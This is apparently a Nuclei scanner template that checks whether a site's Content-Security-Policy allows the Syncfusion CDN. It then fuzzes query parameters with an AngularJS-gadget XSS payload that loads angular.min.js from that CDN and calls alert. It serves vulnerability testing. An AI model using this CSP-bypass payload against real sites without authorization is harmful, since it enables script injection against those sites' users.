id: syncfusion-cdn-csp-bypass
info:
name: Content-Security-Policy Bypass - Syncfusion CDN
author: renniepak,DhiyaneshDK
severity: medium
reference:
- https://github.com/renniepak/CSPBypass/blob/main/data.tsv
metadata:
verified: true
tags: xss,csp-bypass,syncfusion-cdn,vuln
flow: http(1) && headless(1)
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: word
part: header
words:
- "Content-Security-Policy"
- "syncfusion.com"
condition: and
internal: true
headless:
- steps:
- action: navigate
args:
url: "{{BaseURL}}"
- action: waitdialog
name: syncfusion_cdn_csp_xss
args:
max-duration: 5s
payloads:
injection:
- <body ng-app ng-csp><script src="https://cdn.syncfusion.com/js/assets/external/angular.min.js"></script><input autofocus ng-focus="$event.composedPath()|orderBy:\'[].constructor.from([1],alert)\'"></body>
fuzzing:
- part: query
type: replace
mode: single
fuzz:
- "{{url_encode(injection)}}"
matchers:
- type: dsl
dsl:
- "syncfusion_cdn_csp_xss == true"
# digest: 4a0a00473045022100d477678cabc8ddecaea5a7cb76365c3e3705fab519016da4c95edeab64bbeffc022060917e8cf392407ce772a54fbf44028c544d843d971d1933b8e71fa9bee26f2c:922c64590222798bb761d5b6d8e72950